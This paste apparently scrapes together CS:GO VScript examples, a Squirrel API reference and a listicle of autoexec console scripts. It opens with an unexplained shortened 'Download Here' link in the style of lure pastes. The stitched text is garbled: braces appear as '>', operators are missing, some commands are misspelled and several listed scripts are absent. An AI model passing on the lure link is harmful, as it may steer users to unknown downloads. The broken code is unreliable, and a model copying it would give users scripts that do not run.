Advertisement
Guest User

Csgo scripting

a guest
Nov 11th, 2024
75
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 46.13 KB | None | 0 0
  1. -
  2. Download Here --> https://tinyurl.com/5eabk3ee (Copy and Paste Link)
  3.  
  4.  
  5.  
  6.  
  7.  
  8.  
  9. CS:GO VScript Examples
  10. To test players other than the activator, give the functions a parameter that replaces activator .
  11. // returns true if the activator is a bot function IsBot() if (!activator) return false local ent = null while ( ent = Entities.FindByClassname(ent, "cs_bot") ) if (ent == activator) return true > return false >
  12. // returns true if the activator is a human player function IsHuman() if (!activator) return false local ent = null while ( ent = Entities.FindByClassname(ent, "player") ) if (ent == activator) return true > return false >
  13. // returns true if the activator is a human player or a bot function IsPlayer() // both bots and human players have the classname "player" in this case return activator && activator.GetClassname() == "player" >
  14. Note: If you need to avoid any exceptions, you might also want to check typeof(activator) == "instance" && activator.IsValid() before calling activator.GetClassname() .
  15. Equip players
  16. A slightly modified version from csgo/scripts/vscripts/warmup/warmup_arena.nut .
  17. // equips the specified players with the specified weapon class function GiveGun( weapon, playerarray ) local equipper = Entities.CreateByClassname( "game_player_equip" ) // set flags and keyvalues equipper.__KeyValueFromInt( "spawnflags", 5 ) // "Use Only" and "Only Strip Same Weapon Type" equipper.__KeyValueFromInt( weapon, 0 ) // equipper.__KeyValueFromInt( "weapon_knife", 0 ) // equipper.__KeyValueFromInt( "item_kevlar", 0 ) equipper.ValidateScriptScope() foreach (player in playerarray) EntFireByHandle( equipper, "Use", "", 0, player, null ) // each player "Use"s the equipper > EntFireByHandle( equipper, "Kill", "", 0.1, null, null ) // equipper is no longer needed, so remove it >
  18. Turn decoys into nukes
  19. The following script is a think script, it can be attached to any entity. The Think function will be executed as long as the entity is alive and has its thinkfunction keyvalue set to "Think".
  20. // This can be found in hammer's sound picker const EXPLOSION_SOUND = "c4.Explode" // Called after the entity is spawned function Precache() self.PrecacheScriptSound( EXPLOSION_SOUND ) > // Every 0.1 seconds this function checks for decoy_projectiles in the map // When found, it checks if the decoy is standing still // If true create an env_explosion, trigger it and kill the decoy function Think() local decoy = null while( ( decoy = Entities.FindByClassname( decoy, "decoy_projectile" ) ) != null ) if( decoy.GetVelocity().LengthSqr() == 0 ) local owner = decoy.GetOwner() local origin = decoy.GetOrigin() local explosion = Entities.CreateByClassname( "env_explosion" ) explosion.__KeyValueFromInt( "iMagnitude", 2000 ) explosion.SetOrigin( origin ) explosion.SetOwner( owner ) EntFireByHandle( explosion, "Explode", "", 0.1, owner, owner ) DispatchParticleEffect( "explosion_c4_500", origin, origin ) decoy.EmitSound( EXPLOSION_SOUND ) decoy.Destroy() > > >
  21. Create a timer to call a function independently
  22. timer null function OnTimer() print(".") > // Called after the entity is spawned function OnPostSpawn() if( timer == null ) timer = Entities.CreateByClassname( "logic_timer" ) // set refire time timer.__KeyValueFromFloat( "RefireTime", 0.1 ) timer.ValidateScriptScope() local scope = timer.GetScriptScope() // add a reference to the function scope.OnTimer OnTimer // connect the OnTimer output, // every time the timer fires the output, the function is executed timer.ConnectOutput( "OnTimer", "OnTimer" ) // start the timer EntFireByHandle( timer, "Enable", "", 0, null, null ) > >
  23. See also
  24. External links
  25. List of CS:GO Script Functions
  26. This list contains the engine-related Squirrel classes, functions and variables available for VScript in Counter-Strike: Global Offensive . The official documentation can be printed in the console by setting developer to non-zero, loading a map, and executing script_help .
  27. Variables
  28. Constants
  29. Instance Type Value _charsize_ integer 1 _floatsize_ integer 4 _intsize_ integer 4 _version_ string "Squirrel 2.2.3 stable" RAND_MAX integer 32767 PI float 3.14159
  30. Classes
  31. CBaseEntity
  32. This is a script handle class for entities. All entities spawned have a script handle using this or one of its subclasses.
  33. All script handles in-game are accessible from Entities. Entity scripts can use self to access their own script handle. activator and caller variables can be accessed on function calls.
  34. Methods
  35. Function Signature Description __KeyValueFromInt bool __KeyValueFromInt(string key, int value) Sets entity keyvalue from an integer. __KeyValueFromFloat bool __KeyValueFromFloat(string key, float value) Sets entity keyvalue from a float. __KeyValueFromString bool __KeyValueFromString(string key, string value) Sets entity keyvalue from a string. __KeyValueFromVector bool __KeyValueFromVector(string key, Vector value) Sets entity keyvalue from a Vector. ConnectOutput void ConnectOutput(string output, string function) Adds an I/O connection that will call the named function when the specified output fires. DisconnectOutput void DisconnectOutput(string output, string function) Removes a connected script function from an I/O event. Destroy void Destroy() Kills the entity. EmitSound void EmitSound(string soundname) Plays a sound from this entity. entindex int entindex() Returns the entity index. EyePosition Vector EyePosition() Get vector to the eye position - absolute coordinates. FirstMoveChild handle FirstMoveChild() If in hierarchy, get the first move child. GetAngles Vector GetAngles() Get the entity local angles (pitch, yaw, roll) as a Vector object. GetAngularVelocity Vector GetAngularVelocity() Get the local angular velocity - returns a Vector of pitch, yaw, roll. GetBoundingMaxs Vector GetBoundingMaxs() Get a vector containing max bounds in local space. GetBoundingMaxsOriented Vector GetBoundingMaxsOriented() Get a vector containing max bounds, centered on object, taking the object's orientation into account. GetBoundingMins Vector GetBoundingMins() Get a vector containing min bounds in local space. GetBoundingMinsOriented Vector GetBoundingMinsOriented() Get a vector containing min bounds, centered on object, taking the object's orientation into account. GetCenter Vector GetCenter() Get vector to center of object in world space. GetClassname string GetClassname() Get entity classname. GetForwardVector Vector GetForwardVector() Get the forward vector of the entity in world space. GetHealth int GetHealth() Returns the current health. GetLeftVector Vector GetLeftVector() Get the right vector of the entity in world space. GetMaxHealth int GetMaxHealth() Returns the maximum health. GetModelKeyValues CScriptKeyValues GetModelKeyValues() Returns the $keyvalues block of the entity's model as a #CScriptKeyValues object. Note that this is not the keyvalues of the entity itself. GetModelName string GetModelName() Returns the value of the entity's model keyvalue or "" . GetMoveParent handle GetMoveParent() If in hierarchy, retrieves the entity's parent. GetName string GetName() Returns the targetname of the entity. GetOrigin Vector GetOrigin() Returns this entity's local origin. GetOwner handle GetOwner() Gets this entity's owner. GetPreTemplateName string GetPreTemplateName() Get the entity name stripped of template unique decoration. This is the &048 suffix added by templates that do not preserve the entity name. GetRootMoveParent handle GetRootMoveParent() If in hierarchy, walks up the hierarchy to find the root parent. GetScriptId string GetScriptId() Returns the thinkfunction keyvalue of the entity. GetScriptScope handle GetScriptScope() Retrieve the table storing the Entity Script data associated with this entity. GetSoundDuration float GetSoundDuration(string soundname, string actormodel) Returns float duration of the sound. To do: Does this work correctly only with .wav files? GetTeam int GetTeam() Get the team this entity is on. GetUpVector Vector GetUpVector() Get the up vector of the entity in world space. GetVelocity Vector GetVelocity() Get the velocity of the entity. IsValid bool IsValid() Whether the handle belongs to a valid entity. NextMovePeer handle NextMovePeer() Return the next entity in the same movement hierarchy. PrecacheModel void PrecacheModel(string modelname) Precache a model. Expensive. PrecacheScriptSound void PrecacheScriptSound(string soundname) Precache a sound. Expensive. PrecacheSoundScript void PrecacheSoundScript(string soundscript) Precache a sound for later playing. Expensive. SetAbsOrigin void SetAbsOrigin(Vector position) Set absolute origin. SetAngles void SetAngles(float pitch, float yaw, float roll) Set entity local angles (pitch, yaw, roll). SetAngularVelocity void SetAngularVelocity(float pitch, float yaw, float roll) Set the local angular velocity - takes float pitch, yaw, roll velocities. SetForwardVector void SetForwardVector(Vector forwardvec) Sets entity forward vector in local space. SetHealth void SetHealth(int health) Sets the current health. SetMaxHealth void SetMaxHealth(int health) Sets the maximum health. SetModel void SetModel(string modelname) Changes the model of the entity. Does not precache the model. SetOrigin void SetOrigin(Vector position) Set local origin. "Teleports" the entity. SetOwner void SetOwner(handle owner) Sets this entity's owner. SetSize void SetSize(Vector mins, Vector maxs) Sets the bounding box size. SetTeam void SetTeam(int team) Set the team this entity is on. SetVelocity void SetVelocity(Vector velocity) Set local velocity. StopSound void StopSound(string soundname) Stops a sound on this entity. ValidateScriptScope bool ValidateScriptScope() Ensure that an entity's script scope has been created.
  36. Hooks
  37. If one of these functions are declared in an Entity Script, the entity will run this function automatically in the appropriate situation.
  38. Function Signature Description InputInputName bool InputInputName() Called when the entity receives an input from the I/O system. The name of the function needs to be Input followed by the name of the input in CamelCase, for example InputFireUser1 for the FireUser1 input. The function needs to return a boolean value. Setting it to true allows the entity to process the input, while false cancels it. OnPostSpawn void OnPostSpawn() This is called after the entity has spawned. Precache void Precache() This is called during entity spawning and after restore to allow scripts to precache any resources they need.
  39. CBaseAnimating
  40. Script handle class for animating entities such as props.
  41. Methods
  42. Function Signature Description GetAttachmentAngles Vector GetAttachmentAngles(int id) Get the attachment ID's angles as a pitch, yaw, roll vector. GetAttachmentOrigin Vector GetAttachmentOrigin(int id) Get the attachment ID's origin vector. IsSequenceFinished bool IsSequenceFinished() Ask whether the main sequence is done playing. LookupAttachment int LookupAttachment(string attachmentName) Get the named attachment ID. SetBodygroup void SetBodygroup(int groupIndex, int value) Sets the models bodygroup value by index.
  43. CBaseFlex
  44. Methods
  45. Function Signature Description GetCurrentScene handle GetCurrentScene() Returns the instance of the oldest active scene entity (if any). GetSceneByIndex handle GetSceneByIndex(int index) Returns the instance of the scene entity at the specified index.
  46. CBasePlayer
  47. Methods
  48. Function Signature Description IsNoclipping bool IsNoclipping() Returns true if the player is in noclip mode.
  49. CBaseMultiplayerPlayer
  50. Script handle class for the CS:GO players. No additional methods.
  51. CEnvEntityMaker
  52. Methods
  53. Function Signature Description SpawnEntity void SpawnEntity() Create an entity at the location of the maker SpawnEntityAtEntityOrigin void SpawnEntityAtEntityOrigin(handle entity) Create an entity at the location of a specified entity instance. SpawnEntityAtLocation void SpawnEntityAtLocation(Vector origin, Vector orientation) Create an entity at a specified location and orientation, orientation is Euler angle in degrees (pitch, yaw, roll). SpawnEntityAtNamedEntityOrigin void SpawnEntityAtNamedEntityOrigin(string targetname) Create an entity at the location of a named entity. If multiple entities have the same name, only the one with the lowest entity index will be targeted.
  54. CPointTemplate
  55. Hooks
  56. table PreSpawnInstance(string entityClass, string entityName) If this is defined, it will be called right before the entity is created, and any keyvalues returned will be assigned to the entity.
  57. function PreSpawnInstance( entityClass, entityName ) local keyvalues = rendercolor = "0 255 0", targetname = "mySpawnedEntity" > return keyvalues >
  58. void PostSpawn(table entities) Called after the entities are spawned. A table with the handles of the spawned entities indexed by name is passed to the function. Could use this to connect outputs or do whatever needs to be done after the entity was created.
  59. Note: PostSpawn() will not be called unless the PreSpawnInstance() function is also defined in the script.
  60. function PostSpawn( entities ) foreach( targetname, handle in entities ) printl( targetname + ": " + handle ) > >
  61. Example
  62. Spawned entities can be accessed synchronously in script by using an entity maker. The following generalised example creates a global SpawnMyEntity() function which spawns and returns the templated entity. It can be modified to support multiple templated entities.
  63. m_hSpawnedEntity null; m_KeyValues null; m_hSpawner Entities.CreateByClassname( "env_entity_maker" ); m_hSpawner.__KeyValueFromString( "EntityTemplate", self.GetName() ); function PreSpawnInstance( classname, targetname ) return m_KeyValues; > function PostSpawn( entities ) foreach ( targetname, entity in entities ) m_hSpawnedEntity = entity; break; > > ::SpawnMyEntity function( keyvalues = null ) m_KeyValues = keyvalues; m_hSpawner.SpawnEntity(); return m_hSpawnedEntity; >.bindenv(this)
  64. Spawn templated entities from any script.
  65. local ent = SpawnMyEntity( rendercolor = Vector( RandomInt(0, 255), RandomInt(0, 255), RandomInt(0, 255) ) > ) printl( ent )
  66. CSceneEntity
  67. Methods
  68. Function Signature Description AddBroadcastTeamTarget void AddBroadcastTeamTarget(int index) Adds a team (by index) to the broadcast list. EstimateLength float EstimateLength() Returns length of this scene in seconds. FindNamedEntity handle FindNamedEntity(string reference) given an entity reference, such as !target, get actual entity from scene object. IsPaused bool IsPaused() If this scene is currently paused. IsPlayingBack bool IsPlayingBack() If this scene is currently playing. LoadSceneFromString bool LoadSceneFromString(string sceneName, string scene) Given a dummy scene name and a vcd string, load the scene. RemoveBroadcastTeamTarget void RemoveBroadcastTeamTarget(int index) Removes a team (by index) from the broadcast list.
  69. CTriggerCamera
  70. Methods
  71. Function Signature Description GetFov int GetFov() Get cameras current Field Of View setting as integer. SetFov void SetFov(int fov, float rate) Set cameras current FOV in integer degrees and FOV change rate as float.
  72. Hooks
  73. Function Signature Description ScriptStartCameraShot void ScriptStartCameraShot(string shotType, handle sceneEntity, handle actor1, handle actor2, float duration) Called from SceneEntity in response to a CChoreoEvent::CAMERA sent from a VCD. To do
  74. CFuncTrackTrain
  75. Methods
  76. Function Signature Description GetFuturePosition Vector GetFuturePosition(float x, float speed) Get a position on the track x seconds in the future.
  77. CHostage
  78. Methods
  79. Function Signature Description IsBeingCarried bool IsBeingCarried() Get whether the hostage is currently being carried or not.
  80. CGameCoopMissionManager
  81. Methods
  82. Function Signature Description GetWaveNumber int GetWaveNumber() Get the number of waves the players have completed.
  83. CEntities
  84. An interface to find and iterate over the script handles for the entities in play.
  85. To iterate over a set of entities, pass null to the previous argument in the appropriate method to start an iteration, or reference to a previously found entity to continue a search.
  86. The following are two equivalent examples and iterate over all weapons on the map:
  87. local ent = null; while ( ent = Entities.FindByClassname(ent, "weapon_*") ) // . >
  88. for (local ent; ent = Entities.FindByName(ent, "weapon_*"); ) // . >
  89.  
  90. The variable name ent is arbitrary.
  91. Indeed, we mean "=" and not "= /wiki/Entity_index" title="Entity index">entity index higher to the one in previous parameter.
  92. Semicolons are optional, except in the header of the for statement.
  93. The string parameters of the FindBy. functions support the wildcard star * . In the above example, FindByClassname only returns either a handle of an entity whose classname begins with " weapon_ " or it returns null .
  94.  
  95. Methods
  96. Function Signature Description CreateByClassname handle CreateByClassname(string classname) Creates an entity by classname with the initial origin (0,0,0) .
  97. Note: The classname keyvalue of an entity can be manipulated and does not necessarily reflect its code class. Also, there are entities that have a different classname than the one they are created with.
  98. Tip: Useful to distinguish between entities with an identical classname keyvalue, for example weapon_mp7 and weapon_mp5sd , see Category: CS:GO Weapons.
  99. CPlayerVoiceListener
  100. Warning: Broken! This class is implemented in CS:GO, but the required PlayerVoiceListener instance is not.
  101. Methods
  102. Function Signature Description GetPlayerSpeechDuration float GetPlayerSpeechDuration(int playerIndex) Returns the number of seconds the player has been continuously speaking. IsPlayerSpeaking bool IsPlayerSpeaking(int playerIndex) Returns whether the player specified is speaking. IsValid bool IsValid() Whether the handle belongs to a valid entity.
  103. CScriptKeyValues
  104. Script handle representation of a models $keyvalues block. Sub keys are instances of the same class.
  105. Methods
  106. Function Signature Description constructor FindKey CScriptKeyValues FindKey(string key) Find a sub key by the key name. GetFirstSubKey CScriptKeyValues GetFirstSubKey() Return the first sub key object. GetKeyBool bool GetKeyBool(string key) Return the key value as a bool. GetKeyFloat float GetKeyFloat(string key) Return the key value as a float. GetKeyInt int GetKeyInt(string key) Return the key value as an integer. GetKeyString string GetKeyString(string key) Return the key value as a string. GetNextKey CScriptKeyValues GetNextKey() Return the next neighbor key object to the one the method is called on. IsKeyEmpty bool IsKeyEmpty(string key) Returns true if the named key has no value. IsValid bool IsValid() Whether the handle belongs to a valid key. ReleaseKeyValues void ReleaseKeyValues() Releases the contents of the instance.
  107. CCallChainer
  108. CCallChainer objects collect all functions with a matching prefix in a given scope, then inserts it all into the chains table with the prefix removed. All collected unprefixed functions can then be called in a chain using the class's Call() method, given the method's event argument matches the functions' name.
  109. Whenever a CCallChainer object is created, a function named Dispatch followed by its given prefix will also be created, which the class binds the environment of its Call() method to.
  110. Methods
  111. Function Signature Description constructor CCallChainer(string functionPrefix, table scope = null) Creates a CCallChainer object that'll collect functions that have a matching prefix in the given scope. PostScriptExecute void PostScriptExecute() Search for all non-native functions with matching prefixes, then push them into the chains table. Call bool Call(string event, any . ) Find an unprefixed function name in the chains table and call it with the given arguments.
  112. Members
  113. Instance Type Description chains table Contains names of unprefixed functions, each with an array of functions to call. prefix string Prefix that functions should have to be added into the chains table. Set by the constructor. scope table If set, seek functions in this scope instead. Set by the constructor.
  114. CSimpleCallChainer
  115. Intended to be simpler to use than CCallChainer, the class CSimpleCallChainer holds only a single chain of functions inside an array instead of multiple inside a table. As such, its Call() method does not need a function's name.
  116. This class is also used internally by these CBaseEntity hooks: Precache() and OnPostSpawn() .
  117. Methods
  118. Function Signature Description constructor CSimpleCallChainer(string functionPrefix, table scope = null, exactMatch = false) Creates a CSimpleCallChainer object that'll collect functions that have a matching prefix in the given scope, unless it seek for an exact name match. PostScriptExecute void PostScriptExecute() Begin searching for all non-native functions with matching prefixes, then push them into the chain array. Call bool Call(any . ) Call all functions inside the chain array with the given arguments.
  119. Members
  120. Instance Type Description chain array All functions to be called by the Call() method. exactMatch bool If set, names of non-native functions and prefix must be an exact match. Set by the constructor. prefix string Prefix that functions should have to be added into the chain array. Set by the constructor. scope table If set, seek functions in this scope instead. Set by the constructor.
  121. LateBinder
  122. Late binding: allows a table to refer to parts of itself, it's children, it's owner, and then have the references fixed up after it's fully parsed.
  123. // Usage: lateBinder LateBinder(); lateBinder.Begin( this ); Test1 Foo=1 > Test2 FooFoo = "I'm foo foo" BarBar="@Test1.Foo" SubTable = boo=[bah, "@Test2.FooFoo", "@Test1.Foo"], booboo2=one=bah, two="@Test2.FooFoo", three="@Test1.Foo"> > booboo=[bah, "@Test2.FooFoo", "@Test1.Foo"] booboo2=one=bah, two="@Test2.FooFoo", three="@Test1.Foo"> bah=wha > lateBinder.End(); delete lateBinder;
  124. When End() is called, all of the unresolved symbols in the tables and arrays will be resolved, any left unresolved will become a string prepended with '~', which later code can deal with.
  125. Methods
  126. Function Signature Description Begin End EstablishDelegation HookRootMetamethod Log m_bindNamesStack m_fixupSet m_log m_logIndent m_targetTable RemoveDelegation Resolve UnhookRootMetamethod
  127. regexp
  128. The built-in Squirrel class for regular expressions.
  129. Methods
  130. Function Signature Description constructor regexp() capture [table] capture(str, [start]) Returns an array of tables containing two indexes("begin" and "end")of the first match of the regular expression in the string str. An array entry is created for each captured sub expressions. If no match occurs returns null. The search starts from the index start of the string, if start is omitted the search starts from the beginning of the string. match bool match(str) Returns a true if the regular expression matches the string str, otherwise returns false. search table search(str, [start]) Returns a table containing two indexes("begin" and "end") of the first match of the regular expression in the string str, otherwise if no match occurs returns null. The search starts from the index start of the string, if start is omitted the search starts from the beginning of the string. subexpcount
  131. Vector
  132. Squirrel equivalent of the C++ Vector class.
  133. Has overloaded operations for the following: Vector * number Vector + Vector Vector - Vector
  134. Methods
  135. Function Signature Description constructor Vector(float x = 0, float y = 0, float z = 0) Creates a new vector with the specified Cartesian coordiantes. Cross float Cross(Vector factor) The vector product of two vectors. Returns a vector orthogonal to the input vectors. Dot float Dot(Vector factor) The scalar product of two vectors. Length float Length() Length of the vector. LengthSqr float LengthSqr() Length of the vector squared. Cheaper than the above method. Length2D float Length2D() Returns the length of the vector on the x-y plane. Length2DSqr float Length2DSqr() Returns the square of the length of the vector on the x-y plane. Cheaper than the above method. Norm float Norm() Normalises the vector, returns the vector length. ToKVString string ToKVString() Returns a string without separations commas.
  136. Members
  137. Instance Type Description x float Cartesian X axis. y float Cartesian Y axis. z float Cartesian Z axis.
  138. Global functions
  139. Printing and drawing
  140. Training Course
  141. Function Signature Description ScriptGetBestTrainingCourseTime int ScriptGetBestTrainingCourseTime() Gets the player's best time for completing the timed course. ScriptGetPlayerCompletedTraining bool ScriptGetPlayerCompletedTraining() Returns true if the player has completed the initial portion of the training map. ScriptGetValveTrainingCourseTime int ScriptGetValveTrainingCourseTime() Gets Valve's best time for completing the timed course. ScriptHighlightAmmoCounter void ScriptHighlightAmmoCounter() Sends an event that is just used by the instructor system to show a hint highlighting the ammo counter. ScriptSetBestTrainingCourseTime void ScriptSetBestTrainingCourseTime(int time) Sets the player's best time for completing the timed course. ScriptSetMiniScoreHidden void ScriptSetMiniScoreHidden(bool hide) Toggles the visibility of the miniscoreboard hud element. ScriptSetPlayerCompletedTraining void ScriptSetPlayerCompletedTraining(bool completed) Sets whether the player has completed the initial portion of the training map. ScriptSetRadarHidden void ScriptSetRadarHidden(bool hide) Toggles the visibility of the radar hud element. ScriptShowExitDoorMsg void ScriptShowExitDoorMsg() Shows a message box in trainign when the player exits through the exit door ScriptShowFinishMsgBox void ScriptShowFinishMsgBox() Shows a message box to let players know what to do next after finishing the training course. ScriptTrainingGivePlayerAmmo void ScriptTrainingGivePlayerAmmo() Refills ammo to max for all weapons the player has (only works in training).
  142. Co-op Strike
  143. Function Signature Description ScriptCoopCollectBonusCoin void ScriptCoopCollectBonusCoin() Marks one of the bonus coins as collected. ScriptCoopGiveC4sToCTs void ScriptCoopGiveC4sToCTs(int) Will give the number of specified C4s to all alive CT players. ScriptCoopMissionGetMissionNumber int ScriptCoopMissionGetMissionNumber() Gets the mission number for the current map - maps can have multiple missions on them. ScriptCoopMissionRespawnDeadPlayers void ScriptCoopMissionRespawnDeadPlayers() Respawns players only. ScriptCoopMissionSetDeadPlayerRespawnEnabled void ScriptCoopMissionSetDeadPlayerRespawnEnabled(bool) Controls whether player respawns can happen. ScriptCoopMissionSetNextRespawnIn void ScriptCoopMissionSetNextRespawnIn(float, bool) Set the next respawn wave to happen in this many seconds. ScriptCoopMissionSpawnFirstEnemies void ScriptCoopMissionSpawnFirstEnemies(int) Spawns the first wave of enemies in coop. ScriptCoopMissionSpawnNextWave void ScriptCoopMissionSpawnNextWave(int) Tells the next wave of enemies to spawn in coop. Also respawns player. ScriptCoopResetRoundStartTime void ScriptCoopResetRoundStartTime() Resets the round time and starts the mission. ScriptCoopSetBotQuotaAndRefreshSpawns void ScriptCoopSetBotQuotaAndRefreshSpawns(int) Sets the bot quota considering the # of players connected and refreshes the spawns. ScriptCoopExtendRoundDurationTime void ScriptCoopExtendRoundDurationTime(float) Extends the round time after checkpoint during the mission. ScriptCoopToggleEntityOutlineHighlights void ScriptCoopToggleEntityOutlineHighlights(bool) Highlights all dropped weapons for players, or removes all highlights. ScriptMissionResetDangerZones void ScriptMissionResetDangerZones() Resets all danger zone entities. ScriptMissionCreateAndDetonateDangerZone void ScriptMissionCreateAndDetonateDangerZone(Vector, Vector) Creates and detonates a danger zone at the given location moving towards target location.
  144. Premier Mode
  145. Function Signature Description ScriptLobbyMapVetoFinished void ScriptLobbyMapVetoFinished(string mapname, bool, bool, string) Switch to the selected map after lobby map veto finished.
  146. Math
  147. Function Signature Description abs int abs(float x) Returns the absolute value of x as an integer. acos float acos(float x) Returns the arccosine of x . asin float asin(float x) Returns the arcsine of x . atan float atan(float x) Returns the arctangent of x . atan2 float atan2(float x, float y) Returns the arctangent of x/y . ceil float ceil(float x) Returns a float value representing the smallest integer that is greater than or equal to x . cos float cos(float x) Returns the cosine of x . exp float exp(float x) Returns the exponential value ( e^x ) of the float parameter x . fabs float fabs(float x) Returns the absolute value of x as a float. floor float floor(float x) Returns a float value representing the largest integer that is less than or equal to x . log float log(float x) Returns the natural logarithm of x . log10 float log10(float x) Returns the logarithm base-10 of x . pow float pow(float x, float y) Returns x raised to the power of y . rand int rand() Returns a pseudorandom integer in the range 0 to RAND_MAX . sin float sin(float x) Returns the sine of x . sqrt float sqrt(float x) Returns the square root of x . srand void srand(float seed) Sets the starting point for generating a series of pseudorandom integers. tan float tan(float x) Returns the tangent of x .
  148. Other
  149. Function Signature Description Assert void Assert(exp, string message = null) Throws an exception if exp equates to false, optionally with message. CreateProp handle CreateProp(string classname, Vector origin, string model, int animation) Create a prop with the specified class and model. Both prop_physics, prop_dynamic as well as some other entity classes with models work. Does not precache the model. CreateSceneEntity CSceneEntity CreateSceneEntity(string scene) Create a scene entity to play the specified scene .vcd file. DispatchParticleEffect void DispatchParticleEffect(string particle, Vector position, Vector orientation) Dispatches a one-off particle system. See List of CS:GO Particles. Does not work if the particle is not precached. [How?]
  150. See also
  151. [Top 20] CSGO Best Autoexec Scripts That Give You An Advantage
  152. Auto scripts are useful in CS:GO because they give your game custom commands. For example, you can display the damage given to each enemy simply by inputting the proper command. To find or create an Autoexec folder (for the scripts), you’d need to go to the Steam folder, and from there, find your userdata/steam 64 ID/730/local/cfg. After that, you can copy and paste your cfg file (usually in notepad or notepad ++) and create a new Autoexec file by deleting the info inside. If you prefer a visual reference, check out the video below.
  153. 20. Display Damage
  154. Not just for Faceit or ESEA anymore.
  155. If you’re mostly playing MM, then this script is for you. As the name states, this script automatically shows the damage given to enemies at the end of each round. Not all kills are created equal, as some rely on assists while others are clean headshots. Thus, seeing the damage output gives you a more accurate depiction of your aim and spray.
  156. Script Command
  157.  
  158. developer 1
  159. con_filter enable 2
  160. con_filter_text_out “Player:”
  161. con_filter_text “damage Given”
  162.  
  163. 19. Toggle Netgraph with Scoreboard
  164. Netgraph is a visual cue that displays your fps, tickrate, ping, etc.
  165. Netgraph depicts how well CS:GO runs based on certain factors. It may be annoying, however, to always see it at the bottom of the screen. Fortunately, there’s a script for that, enabling you to only see it when you check the scoreboard, and thus, not negatively affecting your gameplay whatsoever.
  166. Script Command
  167.  
  168. net graph “1”;
  169. net_graphos “2”;
  170. net_graphheight “1”;
  171. alias “+scorenet” “+showscores; net graph 1”;
  172. alias "-scorenet" "-showscores; net_graph 0";
  173. bind "(k)" "+scorenet"
  174.  
  175. *Where (k) is any key
  176. 18. Show Crosshair Settings
  177. Good for sharing your crosshair settings.
  178. If you want to know the size, thickness, outline, etc. of your crosshair, then this script has you covered. Perhaps you want to slightly tweak it, or simply just mess around with it; you can play with the numbers as well. This is especially useful if you want to change or give away your crosshair.
  179. Script Command
  180.  
  181. alias "a1" clear
  182. alias "a2" echo "*********************************************";
  183. alias "a3" echo "YOUR CURRENT CROSSHAIR SETTINGS;"
  184. alias "a4" echo "*********************************************";
  185. alias "a5" developer 2
  186. alias "a6" con_filter_enable 1
  187. alias "a7" con_filter_text cl_crosshair
  188. alias "a8" host_writeconfig //
  189. alias "a9" con_filter_text cl_fix
  190. alias "a10" host_writeconfig //
  191. alias "a11" developer 0
  192. alias "a12" con_filter_enable 0
  193. alias "a13" showconsole
  194. alias "showcrosshair" "a1;a2;a3;a4;a5;a6;a7;a8;a9;a10;a11;a12;a13"
  195. bind (k) "showcrosshair"
  196.  
  197. *Where (k) is any key
  198. 17. Current Viewmodel Settings
  199. You can gain a serious advantage simply by changing your viewmodel.
  200. The viewmodel affects your player’s hands, arms, and weapon. Depending on the settings, you can move it towards or away from the player, to the top, or middle of the screen. Basically, it’s whatever your eyes feel most comfortable with.
  201. Script Command
  202.  
  203. alias "b1" clear
  204. alias "b2" echo "*********************************************";
  205. alias "b3" echo "YOUR CURRENT VIEWMODEL SETTINGS;
  206. alias "b4" echo "*********************************************";
  207. alias "b5" developer 2
  208. alias "b6" con_filter_enable 1
  209. alias "b7" con_filter_text viewmodel
  210. alias "b8" host_writeconfig //
  211. alias "b9" con_filter_text view_punch
  212. alias "b10" host_writeconfig //
  213. alias "b11" developer 0
  214. alias "b12" con_filter_enable 0
  215. alias "b13" showconsole
  216. alias "showviewmodel" "b1;b2;b3;b4;b5;b6;b7;b8;b9;b10;b11;b12;b13"
  217. bind (k) "showviewmodel"
  218.  
  219. *Where (k) is any key
  220. 16. Toggle Voice Command
  221. Speak freely.
  222. By default, CS:GO only lets you speak when you hold down a key. You may lose focus as a result. This script, however, is useful for toggling your mic. Alternatively, you can use another script provided in the video.
  223.  
  224. alias mic "mikeon";
  225. alias mikeon"+voicerecord;
  226. alias mic mikeoff";
  227. alias mikeoff "-voicerecord;
  228. alias mic mikeon";
  229. bind "(k)" "mic"
  230.  
  231. *Where (k) is any key
  232. 15. Smoke Crosshair Toggle
  233. Good for learning exactly where to throw a smoke.
  234. This script will give you a huge (but thin) crosshair so you can see exactly where to throw a smoke. For example, some smokes require you to pinpoint the corner of a building as you throw upwards. Eventually, you'll be able to locate it with ease without any assistance.
  235. Script Command
  236.  
  237. bind (k) nadetoggleon
  238. alias "nadetoggleon" "cl_crosshairalpha 100;
  239. cl_crosshairdot 1; cl_crosshairgap 4; cl_crosshairsize
  240. 255; cl_crosshairstyle 4; cl_crosshairthickness 1;
  241. cl_fixedcrosshairgap 4; cl_crosshair_drawoutline 1;
  242. bind (o) nadetoggleoff"
  243. alias "nadetoggleoff" "cl_crosshairalpha (o);
  244. cl_crosshairdot (o); cl_crosshairgap (o);
  245. cl_crosshairsize (o); cl_crosshairstyle (o);
  246. cl_crosshairthickness (o); cl_fixedcrosshairgap (o);
  247. cl_crosshair_drawoutline (o); bind (k) nadetoggleon"
  248.  
  249. *Where (k) is any key and (o) is the original crosshair values
  250. Alternative Command
  251. *Where (k) is any key and (o) is the original crosshair value
  252. 14. Jump Throw Grenades
  253. Two moves in one.
  254. This script simplifies the process of throwing a grenade into one step. Sometimes you’ll want to throw it over a building or obstacle, and thus, will need to jump. It’s a fairly simple script as well.
  255. Script Command
  256. *Where (k) is any key
  257. 13. Crosshair Color
  258. In addition to the console and maps, you may use this script to change crosshair colors.
  259. Another simple script that changes your crosshair color from blue, orange, purple, and so on. Of course, colors are not limited to such, but rather, vary depending on the number or command. The color orange, for example, would correspond to the number 4 using this command.
  260. Script Command
  261. *Where (k) is any key
  262. *Crosshair Colors [0-yellow, 1-purple, 2-green, 3-blue,4-orange]
  263. 12. Quick Switch (Weapon)
  264. That was fast.
  265. Instead of scrolling between two weapons, you might want to try this script. Simply choose the key you want, input the script, and you’ll be able to flick in no time. This is especially useful for switching between the pistol, knife and AWP.
  266. Script Command
  267. *Where (k) is any key
  268. 11. Radar Zoom
  269. You might pay a little more attention to the radar thanks to this script.
  270. Thanks to this command, you can use the scroll wheel to zoom in or out of the radar. It’s useful for knowing where exactly the bomb was dropped or where your teammates are. This script in particular is a bit long, but that’s because many values or increments (for zooming in/out) are taken into account.
  271. Script Command
  272.  
  273. cl_radar_scale 0.4
  274. alias defA "bind MWHEELDOWN +jump"
  275. alias defB "bind MWHEELUP +jump"
  276. alias keyA "bind MWHEELDOWN keyAA"
  277. alias keyB "bind MWHEELUP keyBB"
  278. alias keyAA "bind MWHEELDOWN radarzoomout"
